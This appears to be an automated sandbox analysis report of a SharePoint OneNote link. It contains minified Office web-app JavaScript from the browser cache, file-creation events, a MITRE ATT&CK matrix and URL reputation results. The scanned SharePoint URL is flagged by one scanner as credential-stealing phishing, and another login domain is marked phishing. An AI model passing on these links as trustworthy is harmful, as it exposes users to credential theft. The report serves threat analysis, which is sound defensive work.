Source:	Binary string: Fb.createInstance(131073);Fb.setValue(L.a.Hda,this.Je?44:45);Fb.setValue(L.a.Tzd,this.rL);Fb.setValue(M.a.Qcb,!0);const Wb=this.paragraph.vd;Wb&&Wb.ix(Fb,null);this.tt=Fb.id}Sa.K0(this.nc,this.tt,U.a.SBc,null,null,!1,void 0,void 0,!1)}}(0,K.a)(S,"BookmarkRangeObject",U.a,[]);var T=d(98579),Z=d(57721),ca=d(56827),ea=d(91381);class X extends U.a{constructor(Sa,Fb,Wb,tb,Ob,zb){Ob=void 0===Ob?null:Ob;zb=void 0===zb?null:zb;super(Sa);this.tt=Fb;this.sG=Wb;this.Je=tb;this.pLg=Ob;this.PDb=zb}get sG(){return this.rL}set sG(Sa){this.rL= source: chromecache_363.2.dr
Source:	Binary string: null),this.fM=!0));return this.htmlElement}createElement(){if(this.J8b)return this.dGd();this.Xn=document.createElement("div");this.htmlElement.className=I.pDb;this.htmlElement.setAttribute("UNSELECTABLE","on");void 0!==this.$O&&null!==this.$O&&(this.htmlElement.id=this.$O);this.dR=null;if(0!==this.Tg){this.dR=document.createElement("span");this.dR.className="WACBusinessBarIcon";this.htmlElement.appendChild(this.dR);var F=null;let C=null;switch(this.Tg){case 2:F=I.Qbd;C=(0,G.a)("DialogError");break; source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: (this.ti(this.zh.Command,this.zh.QueryCommand,this.Fb)&2)&&this.UGa()&&this.Bva(),zd.a.og(this.zh.RefreshableMenu)&&this.ew&&this.Ad.Cag()))}Bva(){this.xXj();this.pdb();this.RXj();this.RBa.arb=this.Fb[qn.a.ImageIsVisible]}xXj(){const a=zd.a.x4(this.Fb[qn.a.LabelText],this.zh.LabelText),c=this.Fb[qn.a.LabelTextUserGeneratedPlaceholderReplacements];if(this.control.pk!==a\|\|this.zh.LabelTextUserGeneratedPlaceholderReplacements!==c)this.ap.medium&&this.yXj(this.ap.medium.qq,a,c),this.root.o9a=!0,this.control.pk= source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: F():K.a.get_instance().Yg(7,F);this.R2&&(Ta.AFrameworkApplication.ka.ih.Ma(d.a.click,this.htmlElement,(0,La.a)(this,this.Wi,"onClick")),Ta.AFrameworkApplication.ka.en.eJ(d.a.Sd,this.htmlElement,this.I9a,this),this.y5&&!this.fM&&(Ta.AFrameworkApplication.ka.ox.Ma(this.htmlElement,(0,La.a)(this,this.Wi,"onClick"),null),this.fM=!0));return this.htmlElement}createElement(){if(this.J8b)return this.dGd();this.Xn=document.createElement("div");this.htmlElement.className=I.pDb;this.htmlElement.setAttribute("UNSELECTABLE", source: chromecache_422.2.dr
Source:	Binary string: 1),this.close(F),!0)}close(F){const C=F.DA;this.Ow.removeEntry(C);this.b1b(C,F.ld)}b1b(F,C){if(F.BK){const t=Ta.AFrameworkApplication.sa;t.Lx=10;t.UK=C;F.BK(F);t.Lx=0;t.UK=0}}b3a(F){F&&this.Ow&&(this.Ow.removeEntry(F),this.b1b(F,0))}}I.pDb="WACBusinessBarEntry";I.Y8c="WACBusinessBarTitle";I.T8c="WACBusinessBarBody";I.X8c="WACBusinessBarTitleBodyHolder";I.V8c="WACBusinessBarButtonHolder";I.U8c="WACBusinessBarButton";I.W8c="WACBusinessBarLinkHolder";I.P9c="WACBusinessBarClose";I.O9c="WACBusinessBarCloseHolder"; source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: (this.ti(this.properties.Command,this.properties.QueryCommand,this.Fb)&2)&&this.UGa()&&this.Bva()}Bva(){this.PZj();this.pdb();this.Zdc()}PZj(){const a=this.control.pk;let c=this.Fb[Uj.a.Value];Fc.c(c)&&(c=this.properties.LabelText,Fc.c(c)&&(c=""));c!==a&&this.dac(c)}Ju(a){a=a.Ge;Fc.c(a)\|\|(Uf.a.instance.Ma(Sa.a.si,a,(0,cb.a)(this,this.onPointerDown,"onPointerDown")),Uf.a.instance.Ma(Sa.a.bJ,a,(0,cb.a)(this,this.uda,"onPointerOver")),Uf.a.instance.Ma(Sa.a.xF,a,(0,cb.a)(this,this.tda,"onPointerOut")))}} source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: H?t.StyleReader.wordStyleIdHeading1:t.StyleReader.styleIdHeading1;z.UEa[2]=H?t.StyleReader.wordStyleIdHeading2:t.StyleReader.styleIdHeading2;z.UEa[3]=H?t.StyleReader.wordStyleIdHeading3:t.StyleReader.styleIdHeading3;z.UEa[4]=H?t.StyleReader.Odb:t.StyleReader.uea;z.UEa[5]=H?t.StyleReader.Pdb:t.StyleReader.lva;z.UEa[6]=H?t.StyleReader.Qdb:t.StyleReader.mva;z.UEa[7]=H?null:t.StyleReader.sGa}static pki(){z.$ca.unspecified=0;z.$ca.defaultUnordered=1;z.$ca.defaultOrdered=1;z.$ca.none=0;z.$ca.disc=1;z.$ca.circle= source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: new F.a;this.Sfb=new F.a;this.dib=new F.a;this.kIa=new F.a;this.YKe=!1}v$d(Sa,Fb){this.ylc&&(this.PDb=Sa.changeStart?Sa.changeStart.id:Sa.isChangeEnd?e.a.nil:this.PDb);na.a.instance.ea(45)&&!Sa.vh&&(this.D9c=Sa.wN?Sa:Sa.isTrackChangeInfoEnd?null:this.D9c);this.Aya&&this.Aya.v$d(Sa,Fb)}K0(Sa,Fb,Wb,tb,Ob,zb,jc,Dc,ed){jc=void 0===jc?null:jc;Dc=void 0===Dc?null:Dc;ed=void 0===ed?!1:ed;this.KYj(Wb);this.Rwe(Sa,Fb,tb,Ob,zb,jc,Dc,ed)}Rwe(Sa,Fb,Wb,tb,Ob,zb,jc,Dc){Dc=void 0===Dc?!1:Dc;this.EYj(Fb,Ob);this.jwe(Sa); source: chromecache_363.2.dr
Source:	Binary string: c===Sys.UI.Key.space?(a=this.Fb,a.CommandValueId=this.control.bOa(),this.root.executeCommand(this.zh.Command,a,this.Fe,1,!0),!0):super.Ho(a)}pg(){const a=this.root.ON(this.zh.Command,this.zh.QueryCommand,this.Fb),c=0<(a&1);let m=!0;m=Fc.c(this.zh.CommandMenuOpen)?c:0<(this.root.ON(this.zh.CommandMenuOpen,null,null)&1);if(m!==this.nhb\|\|c!==this.WVa\|\|(m\|\|c)!==this.control.enabled)this.control.enabled=m\|\|c,c!==this.WVa&&this.cZi(c),m!==this.nhb&&this.dZi(m),this.nhb=m,this.WVa=c;if(0<(a&2)){this.pdb(); source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: $i.aI.add(og.StyleReader.wordStyleIdHeading3);$i.aI.add(og.StyleReader.Odb);$i.aI.add(og.StyleReader.Pdb);$i.aI.add(og.StyleReader.Qdb);$i.aI.add(og.StyleReader.pBb);$i.aI.add(og.StyleReader.qBb);$i.aI.add(og.StyleReader.rBb);$i.aI.add(og.StyleReader.qye);$i.aI.add(og.StyleReader.pye)}}$i.aI=null;(0,K.a)($i,"ParagraphStyleDetailsProvider",null,[1145,1005]);class Jw{constructor(a,c){this.mdd=a;this.ETg=c}Aie(){this.mdd.execute(a=>{a.f9b(this.ETg.value);a.f9b(new $i)})}}(0,K.a)(Jw,"AccessibilityActor", source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: r[3]=G.a.instance.ea(61)?F.StyleReader.wordStyleIdHeading3:F.StyleReader.styleIdHeading3;r[4]=G.a.instance.ea(61)?F.StyleReader.Odb:F.StyleReader.uea;r[5]=G.a.instance.ea(61)?F.StyleReader.Pdb:F.StyleReader.lva;r[6]=G.a.instance.ea(61)?F.StyleReader.Qdb:F.StyleReader.mva;r[7]=G.a.instance.ea(61)?F.StyleReader.pBb:F.StyleReader.vcb;r[8]=G.a.instance.ea(61)?F.StyleReader.qBb:F.StyleReader.sGa;r[9]=G.a.instance.ea(61)?F.StyleReader.rBb:F.StyleReader.ucb}sq(r){return r?this.PZb(r,e.a.C3):null}lqb(r){return r? source: chromecache_363.2.dr
Source:	Binary string: return new Sys.UI.Point(F.x,F.y)}addButton(F,C,t,M){this.ZVa=F;this.YVa=C;this.B4=!0;this.qDb=t;this.XVa=void 0===M?!1:M}A4e(F,C,t){this.bWa=F;this.aWa=C;this.C4=!0;this.rDb=t;this.$Va=!1}akb(F,C){this.Aoa=F;this.BY=C;this.vga=!0}dGd(){var F=this.Jxe;this.Xn=document.createElement("div");this.htmlElement.className=String.format("{0} {1} {2}",I.pDb,I.hod,F?I.oud:"");this.htmlElement.setAttribute("UNSELECTABLE","on");void 0!==this.$O&&null!==this.$O&&(this.htmlElement.id=this.$O);F=()=>{B.a.kzf().then(C=> source: chromecache_422.2.dr
Source:	Binary string: (O.Va(B.a.C3)\|\|O.Va(B.a.Uvb)\|\|O.Va(B.a.styleName))?!0:!1}static pZc(O){O[0]=I.a.instance.ea(61)?D.wordStyleIdNormal:D.styleIdNormal;O[1]=I.a.instance.ea(61)?D.wordStyleIdHeading1:D.styleIdHeading1;O[2]=I.a.instance.ea(61)?D.wordStyleIdHeading2:D.styleIdHeading2;O[3]=I.a.instance.ea(61)?D.wordStyleIdHeading3:D.styleIdHeading3;O[4]=I.a.instance.ea(61)?D.Odb:D.uea;O[5]=I.a.instance.ea(61)?D.Pdb:D.lva;O[6]=I.a.instance.ea(61)?D.Qdb:D.mva;O[7]=I.a.instance.ea(61)?D.pBb:D.vcb;O[8]=I.a.instance.ea(61)?D.qBb: source: chromecache_363.2.dr
Source:	Binary string: this.nK.behavior;if(a){const c=this.JAf();this.nK.Fb[im.a.Image16by16Class]=c.Image16by16Class;this.nK.Fb[vi.a.alt]=c.Alt;a.pdb();a.Zdc()}}UIh(){{this.nK=new Sj.a(this,"RibbonPinButton",this.JAf());const a=this.nK.XA("Small");zd.a.Lb(a.Ua,"cui-pinButton");a.enabled=!0;this.Mza(a,this.children.count);this.rv.appendChild(a.Ua)}}GQf(a){return!!a&&!!a.id&&a.id.startsWith("RibbonPinButton")}arf(){Fc.c(this.c5)&&(this.c5=document.getElementById(this.OM+"-QATRowCenter"));Fc.c(this.e5)&&(this.e5=document.getElementById(this.OM+ source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: D.styleIdHeading3="h3";D.uea="h4";D.lva="h5";D.mva="h6";D.wcb="PageTitle";D.Hzb="PageDateTime";D.sGa="cite";D.vcb="blockquote";D.ucb="code";D.z_e=null;D.Zjf=22;D.Uwc=[D.styleIdNormal,D.styleIdHeading1,D.styleIdHeading2,D.styleIdHeading3,D.uea,D.lva,D.mva,D.wcb,D.Hzb,D.sGa,D.vcb,D.ucb];D.I_b=[D.styleIdHeading1,D.styleIdHeading2,D.styleIdHeading3,D.uea,D.lva,D.mva];D.Dec=[D.wordStyleIdHeading1,D.wordStyleIdHeading2,D.wordStyleIdHeading3,D.Odb,D.Pdb,D.Qdb,D.pBb,D.qBb,D.rBb];D.z2j=[D.A2j,D.B2j,D.C2j, source: chromecache_363.2.dr
Source:	Binary string: r.ga(F.StyleReader.wordStyleIdHeading1,Box4Intl.Box4Strings.L_StyleWordHeading1);r.ga(F.StyleReader.wordStyleIdHeading2,Box4Intl.Box4Strings.L_StyleWordHeading2);r.ga(F.StyleReader.wordStyleIdHeading3,Box4Intl.Box4Strings.L_StyleWordHeading3);r.ga(F.StyleReader.Odb,Box4Intl.Box4Strings.L_StyleWordHeading4);r.ga(F.StyleReader.Pdb,Box4Intl.Box4Strings.L_StyleWordHeading5);r.ga(F.StyleReader.Qdb,Box4Intl.Box4Strings.L_StyleWordHeading6);r.ga(F.StyleReader.pBb,Box4Intl.Box4Strings.L_StyleWordHeading7); source: chromecache_363.2.dr
Source:	Binary string: t.UK=C;F.BK(F);t.Lx=0;t.UK=0}}b3a(F){F&&this.Ow&&(this.Ow.removeEntry(F),this.b1b(F,0))}}I.pDb="WACBusinessBarEntry";I.Y8c="WACBusinessBarTitle";I.T8c="WACBusinessBarBody";I.X8c="WACBusinessBarTitleBodyHolder";I.V8c="WACBusinessBarButtonHolder";I.U8c="WACBusinessBarButton";I.W8c="WACBusinessBarLinkHolder";I.P9c="WACBusinessBarClose";I.O9c="WACBusinessBarCloseHolder";I.Q9c="BusinessBarClose_16x16x32";I.hfd="WACBusinessBarImage";I.Upd="WACScreenReaderOnly";I.Qbd="CancelRequest_24x24x32";I.Mud="Risks_24x24x32"; source: chromecache_422.2.dr
Source:	Binary string: Sa&&Sa.fn?Sa.fn.NM:null;this.oga[this.oga.length]=!!Sa&&!!Sa.Ys;this.e1a[this.e1a.length]=Sa&&Sa.Ys&&Sa.qz&&Sa.qz.Ri?Sa.qz.Ri:e.a.nil;this.f1a[this.f1a.length]=Sa&&Sa.Ys?Sa.Ys.authorName:null;this.g1a[this.g1a.length]=Sa&&Sa.Ys?Sa.Ys.NM:null}NWj(Sa,Fb,Wb){Wb=void 0===Wb?!1:Wb;Fb?this.Y0.add(Fb):(Sa&&!Sa.vh\|\|Wb)&&this.Y0.add(this.PDb)}F0j(Sa,Fb,Wb){const {CharacterPropertiesEditor:tb}=d(10501);let Ob=this.rR.count;Ob\|\|1!==this.Ay.count\|\|(Ob=1);const zb=!na.a.instance.ea(45)\|\|(!this.dga\|\|!this.dga.length)&& source: chromecache_363.2.dr
Source:	Binary string: const E=zd.a.x4(this.Fb[mm.a.LabelText],this.zh.LabelText);this.Fb[mm.a.ApplyLabelTextToControlOnly]?this.$N.LNa(P=>{P.Ge.title=E;P.w7.removeAttribute("title");P.jNa.removeAttribute("title")}):this.$N.LNa(P=>{P.w7.title=E});this.Fb[mm.a.EnsureControlRoleIsButton]&&this.$N.LNa(P=>{Mg.a.jg(P.Ge,Mg.a.zc,Mg.a.xK)});Fc.c(this.Fb[mm.a.Visible])\|\|this.UGa()&&this.Bva()}this.$N.fea(this.$N.on&&c)}Bva(){this.Hwe();this.Zdc();this.pdb()}dZi(a){this.$N.LNa(c=>{zd.a.mma(c.jNa,a)});this.m9b();this.nhb=a}cZi(a){this.$N.LNa(c=> source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: U.a,[]);var V=d(83240),Y=d(1861),ba=d(74606),ia=d(3697),ma=d(93631),la=d(79238),qa=d(75654),na=d(72589),ra=d(58875),ua=d(57535),pa=d(10292),da=d(98135);class ha{constructor(Sa,Fb,Wb){this.PDb=e.a.nil;this.D9c=null;this.Aya=Sa;this.ylc=Wb;this.jV="";this.rR=new F.a;this.Ay=new F.a;this.Zsc=new F.a;this.G2e=!1;this.vha=new F.a;this.F2e=!1;this.Y0=new F.a;this.dga=[];this.nYa=[];this.oYa=[];this.zfa=[];this.JWa=[];this.KWa=[];this.oga=[];this.e1a=[];this.f1a=[];this.g1a=[];this.Ahb=new F.a;this.Zib= source: chromecache_363.2.dr
Source:	Binary string: String.format("{0} {1} {2}",I.pDb,I.hod,F?I.oud:"");this.htmlElement.setAttribute("UNSELECTABLE","on");void 0!==this.$O&&null!==this.$O&&(this.htmlElement.id=this.$O);F=()=>{B.a.kzf().then(C=>{this.Ow.I2b\|\|(C.initializeMessageBarInStore(),this.Ow.I2b=!0);const t=Object.assign(new u,{message:this._message,messageTitle:this.Wf,isMultiline:this.FYa,messageBarType:this.OVa});if(this.I4){t.closeable=!0;let M=this._message+". "+(0,G.a)("DialogClose");this.Wf&&(M=this.Wf+". "+M);t.dismissButtonAriaLabel= source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: 2)&&this.UGa()&&this.Bva()}Bva(){this.toggleButton.fea(this.Fb[ef.a.On]);this.jXj(zd.a.x4(this.Fb[ef.a.DisplayMode],""));this.Hwe();this.pdb();this.bYj();ef.a.Alt in this.Fb&&this.Zdc()}bYj(){const a=this.ap.z8a;if(a&&a.x7){var c=zd.a.x4(this.Fb[ef.a.Description],this.properties.Description);c!==a.x7.innerText&&(a.x7.innerText=c,a.qq&&!(0,r.a)(Tt.a,this.root)&&(c=!Fc.b(c),zd.a.wz(a.qq,"UIFontBold",c),zd.a.wz(a.qq,"cui-ctl-mediumlabel-nodescription",!c)))}}Ju(a){a=a.Ge;Ea.a.instance.Ma(Sa.a.focus, source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: Box4Intl.Box4Strings.L_StyleWordHeading3);O.ga(D.Odb,Box4Intl.Box4Strings.L_StyleWordHeading4);O.ga(D.Pdb,Box4Intl.Box4Strings.L_StyleWordHeading5);O.ga(D.Qdb,Box4Intl.Box4Strings.L_StyleWordHeading6);O.ga(D.pBb,Box4Intl.Box4Strings.L_StyleWordHeading7);O.ga(D.qBb,Box4Intl.Box4Strings.L_StyleWordHeading8);O.ga(D.rBb,Box4Intl.Box4Strings.L_StyleWordHeading9);O.ga(D.qye,Box4Intl.Box4Strings.L_StyleWordTitle);O.ga(D.pye,Box4Intl.Box4Strings.L_StyleWordSubtitle);O.ga(D.DDg,Box4Intl.Box4Strings.L_StyleWordSubtleEmphasis); source: chromecache_363.2.dr

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: chromecache_375.2.dr, chromecache_289.2.dr, chromecache_397.2.dr, chromecache_245.2.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_375.2.dr, chromecache_289.2.dr, chromecache_397.2.dr, chromecache_245.2.dr	Binary or memory string: ",DisconnectVirtualMachine:"

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU	0%	Virustotal		Browse
https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU	0%	Avira URL Cloud	safe
https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
http://www.opensource.org/licenses/mit-license.php	0%	URL Reputation	safe
https://consent.config.office.com/consentcheckin/v1.0/consents	0%	URL Reputation	safe
https://login.windows-ppe.net	0%	URL Reputation	safe
https://reactjs.org/link/react-polyfills	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
http://hammerjs.github.io/	0%	URL Reputation	safe
https://roaming.officeapps.partner.office365.cn/rs/v1/settings	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=az-Latn-AZ&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=fil-PH&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=hy-AM&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=is-IS&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=mi-NZ&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://support.office.com/f1/home?isAgave=true&helpid=161255	0%	Avira URL Cloud	safe
https://goaheadplatform.com/favicon.ico	0%	Avira URL Cloud	safe
https://login.microsoftonline-int.com	100%	Avira URL Cloud	phishing
https://www.onenote.com/officeaddins/meetings?ui=kok-IN&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ky-KG&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=sk-SK&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://fa000000128.resources.office.net:3000/index.html	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=tk-TM&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ka-GE&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ca-ES-valencia&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=et-EE&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://cdn.fluidpreview.office.net/fluid/prod	0%	Avira URL Cloud	safe
https://my.microsoftpersonalcontent.com	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=mt-MT&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ne-NP&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ru-RU&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=sr-Latn-RS&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=bn-BD&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=sl-SI&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://forms.office.com	0%	Avira URL Cloud	safe
https://common.online.office.com/suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=vi-VN&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://support.office.com/f1/home?isAgave=true&helpid=160272	0%	Avira URL Cloud	safe
https://augloop-int.officeppe.com/v2	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ro-RO&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=mn-MN&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://aka.ms/Officeaddins	0%	Avira URL Cloud	safe
https://fa000000096.resources.office.net	0%	Avira URL Cloud	safe
https://whiteboard.microsoft.scloud	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=cs-CZ&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=pl-PL&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=prs-AF&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://support.office.com/f1/home?isAgave=true&helpid=126385	0%	Avira URL Cloud	safe
https://whiteboard.office.com/root/index.fluid.js	0%	Avira URL Cloud	safe
https://support.office.com/article/7afcb4f3-4aa2-443a-9b08-125a5d692576	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=sv-SE&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://support.office.com/article/ec43ed03-eb3c-4a10-8d9d-e9e5433c9ed2	0%	Avira URL Cloud	safe
https://github.com/js-cookie/js-cookie	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=uk-UA&temporaryLocalization=true	0%	Avira URL Cloud	safe
http://support.office.com	0%	Avira URL Cloud	safe
https://support.office.com/images/inapp-help-icon-80.png	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ar-SA&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://roaming.osi.office.de/rs/v1/settings	0%	Avira URL Cloud	safe
https://euc-common.online.office.com/suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=he-IL&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=zu-ZA&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=mk-MK&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=nso-ZA&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=lt-LT&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=pt-PT&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=sq-AL&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://cdn.fluidpreview.office.net/fluid/gcc	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=tg-Cyrl-TJ&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=nb-NO&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=tr-TR&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=zh-TW&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=fr-FR&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=wo-SN&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=de-DE&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=kn-IN&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/mathassistant	0%	Avira URL Cloud	safe
https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2210.23001/en-us_w	0%	Avira URL Cloud	safe
https://forms.officeppe.com	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ms-MY&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=fi-FI&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=bn-IN&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=te-IN&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://whiteboard.office365.us	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ml-IN&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=id-ID&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=ca-ES&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://whiteboard.eaglex.ic.gov	0%	Avira URL Cloud	safe
https://edog.onenote.com	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=tt-RU&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://support.office.com/f1/home?isAgave=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=am-ET&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://roaming.osi.apps.mil/rs/v1/settings	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=es-ES&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://www.onenote.com/officeaddins/meetings?ui=tn-ZA&temporaryLocalization=true	0%	Avira URL Cloud	safe
https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2401.26003/en-us_w	0%	Avira URL Cloud	safe
